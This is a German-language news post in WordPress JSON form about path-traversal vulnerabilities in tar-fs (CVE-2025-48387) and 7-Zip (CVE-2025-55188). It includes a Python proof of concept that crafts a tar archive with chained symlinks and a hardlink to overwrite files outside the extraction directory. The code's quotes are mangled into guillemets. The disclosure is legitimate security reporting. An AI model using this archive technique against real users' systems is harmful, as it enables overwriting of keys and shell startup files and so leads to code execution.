{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Sicherheitsanf\u00e4lligkeiten in tar-fs und 7-Zip, die das Schreiben von Dateien au\u00dferhalb des Basisverzeichnisses erm\u00f6glichen.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Im NPM-Paket tar-fs wurde eine Schwachstelle (CVE-2025-48387) entdeckt, die es erm\u00f6glicht, beim Entpacken eines speziell gestalteten tar-Archivs Dateien in beliebige Teile des Dateisystems zu schreiben, ohne auf das Verzeichnis beschr\u00e4nkt zu sein, in das entpackt wird (je nach Berechtigungen des aktuellen Benutzers). Die Schwachstelle kann auch genutzt werden, um bestehende Dateien zu \u00fcberschreiben; beispielsweise k\u00f6nnen die Dateien «.ssh\/id_rsa» oder «.bashrc» im Heimatverzeichnis des Benutzers \u00fcberschrieben werden, um die Ausf\u00fchrung von eigenem Code im System zu erm\u00f6glichen. <\/p>\n
Der Problematik wurde ein kritisches Gefahrenniveau zugewiesen, da das Paket tar-fs 23 Millionen Downloads pro Woche hat und als Abh\u00e4ngigkeit in 1155 Projekten verwendet wird. Die Sicherheitsanf\u00e4lligkeit wurde in den Versionen 3.0.9, 2.1.3 und 1.16.5 behoben, die im Mai ver\u00f6ffentlicht wurden, aber die Informationen \u00fcber die Sicherheitsanf\u00e4lligkeit wurden erst fast 3 Monate sp\u00e4ter bekannt gegeben. <\/p>\n
Die Schwachstelle wird durch unzureichende Pr\u00fcfungen der im Archiv vorhandenen symbolischen und harten Links verursacht, um sicherzustellen, dass diese nicht au\u00dferhalb des Zielverzeichnisses f\u00fcr das Entpacken hinausf\u00fchren. Zwei symbolische Links werden verwendet, um die \u00dcberpr\u00fcfungen zu umgehen: der erste zeigt auf das Stammverzeichnis des Entpackens des Archivs («.»), w\u00e4hrend der zweite relativ zum ersten symbolischen Link erstellt wird und die Zeichen «..\/» im Namen verwendet, um \u00fcber das Basisverzeichnis hinauszugreifen. Zum Beispiel zeigt der erste Link «noop\/noop\/noop» auf «.», w\u00e4hrend der zweite «noop\/noop\/noop\/..\/..\/..\/» aufgeschl\u00fcsselt wird als «.\/..\/..\/..\/». Um die \u00dcberschreibung von Dateien im Archiv zu organisieren, kann ein harter Link erstellt werden, der relativ zum zweiten symbolischen Link auf eine externe Datei verweist. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..\/» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
Eine \u00e4hnliche Schwachstelle (CVE-2025-55188) wurde im Archivierungsprogramm 7-Zip festgestellt. Um Dateien au\u00dferhalb des Basisverzeichnisses in 7-Zip zu schreiben, k\u00f6nnen ebenfalls symbolische Links verwendet werden, die die Sequenz «..\/» im Dateipfad enthalten. Das Problem kann beim Entpacken von beliebigen Archiven, die symbolische Links unterst\u00fctzen, wie zip, tar, 7z und rar, ausgenutzt werden. Das Problem wurde in der Version 7-Zip 25.01 behoben. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"